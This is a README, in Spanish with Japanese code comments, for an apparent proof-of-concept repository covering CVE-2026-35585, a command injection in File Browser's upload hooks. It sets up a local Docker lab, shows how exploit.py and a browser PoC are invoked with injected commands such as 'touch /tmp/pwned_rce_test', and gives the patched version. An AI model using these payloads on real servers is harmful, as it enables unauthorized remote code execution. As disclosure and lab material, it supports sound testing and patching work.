
Exploit de prueba de concepto para CVE-2026-35585, una vulnerabilidad de inyección de comandos del sistema operativo en File Browser (versiones 2.0.0 a 2.33.1). Incluye scripts de PoC basados en Python y en navegador para ejecución remota de código a través de cargas de archivos maliciosos.
Este repositorio es una Prueba de Concepto (PoC) de la grave vulnerabilidad de inyección de comandos del sistema operativo CVE-2026-35585 encontrada en File Browser (versiones 2.0.0 a 2.33.1).
Esta vulnerabilidad reside en la funcionalidad 'Custom Command Hooks'. Al ejecutarse en el shell, las variables de entorno como $FILE o $USERNAME no se sanitizan adecuadamente, por lo que un usuario autenticado con permisos de carga de archivos podría ejecutar comandos arbitrarios en el sistema host utilizando nombres de archivo maliciosos.
Descubridor: saku0512 (https://github.com/Saku0512)
Este proyecto debe utilizarse únicamente con fines educativos y de pruebas de seguridad éticas.
El autor no se hace responsable del uso indebido, daños o actividades ilegales derivadas de esta herramienta. El acceso no autorizado a sistemas informáticos es ilegal. Al utilizar este software, usted acepta realizar pruebas de seguridad únicamente en entornos para los que tenga autorización explícita.
En File Browser, los administradores pueden configurar hooks como 'After Upload'. Cuando estos hooks se ejecutan, la aplicación ejecuta un comando shell y reemplaza variables como $FILE por el nombre real del archivo. Si el nombre del archivo contiene caracteres meta del shell como ;, &, |, no se escapan adecuadamente y se ejecutan en el shell del sistema.
Esta sección describe los pasos para reproducir la ejecución remota de código (RCE) utilizando el entorno proporcionado y el script de explotación.
Utilice Docker Compose para iniciar el entorno vulnerable (File Browser v2.33.1). Como data/filebrowser.db no existe la primera vez, primero inicialice la base de datos de File Browser y configure los hooks.
# data ディレクトリに適切な権限を設定
mkdir -p data && sudo chown -R 1000:1000 data
# DBを初期化
docker run --rm -v "$(pwd)/data:/database" filebrowser/filebrowser:v2.33.1 /bin/filebrowser config init --database /database/filebrowser.db
# admin / admin ユーザーを追加
docker run --rm -v "$(pwd)/data:/database" filebrowser/filebrowser:v2.33.1 /bin/filebrowser users add admin admin --perm.admin --database /database/filebrowser.db
# shell に "sh -c" を設定
docker run --rm -v "$(pwd)/data:/database" filebrowser/filebrowser:v2.33.1 /bin/filebrowser config set --shell "sh -c" --database /database/filebrowser.db
# After Upload コマンドを追加
docker run --rm -v "$(pwd)/data:/database" filebrowser/filebrowser:v2.33.1 /bin/filebrowser cmds add after_upload 'echo Uploaded: $FILE' --database /database/filebrowser.db
# コンテナを起動
docker compose up -d
Si data/filebrowser.db ya existe, no es necesario config init. Si ya existe el usuario admin, restablezca la contraseña con el siguiente comando en lugar de users add:
docker run --rm -v "$(pwd)/data:/database" filebrowser/filebrowser:v2.33.1 /bin/filebrowser users update admin --password admin --database /database/filebrowser.db
Si desea modificar la configuración de hooks después de haber iniciado el contenedor, ejecute docker compose stop para evitar bloqueos de SQLite, luego ejecute los comandos de configuración y finalmente docker compose start.
Ejecute el script exploit.py para automatizar el inicio de sesión y la carga de un archivo malicioso. El siguiente comando intenta crear un archivo llamado pwned_rce_test en el directorio /tmp del contenedor.
# 依存関係をインストール
pip install requests
# exploit を実行
python3 exploit.py -t http://localhost:8080 -u admin -p admin -c "touch /tmp/pwned_rce_test"
Compruebe si el archivo se ha creado dentro del contenedor para verificar que el comando se ejecutó correctamente.
docker exec -it cve-2026-35585-vuln-app ls -l /tmp/pwned_rce_test
Si el archivo existe, se confirma la RCE.
El exploit.py existente se puede usar tal cual. Si desea una experiencia más interactiva con File Browser, puede utilizar la guía PoC incluida para el navegador.
Ejecute la sección '1. Configuración del entorno e inicialización' anterior y asegúrese de poder iniciar sesión en File Browser en http://localhost:8080.
python3 browser_poc.py
Abra lo siguiente en su navegador:
http://127.0.0.1:8090/
http://localhost:8080.admin / admin y obtenga el token de la API de File Browser.id > /srv/pwned_browser_rce.txt./srv/pwned_browser_rce.txt a través de la API de File Browser y verifique el resultado de la RCE en pantalla.Dado que /srv está montado en este repositorio en docker-compose.yml, si tiene éxito, el archivo pwned_browser_rce.txt también se creará en el host.
Actualice File Browser a la versión 2.33.8 o superior. En la versión corregida, la funcionalidad de hooks está deshabilitada por defecto y la expansión de variables se maneja de forma más segura.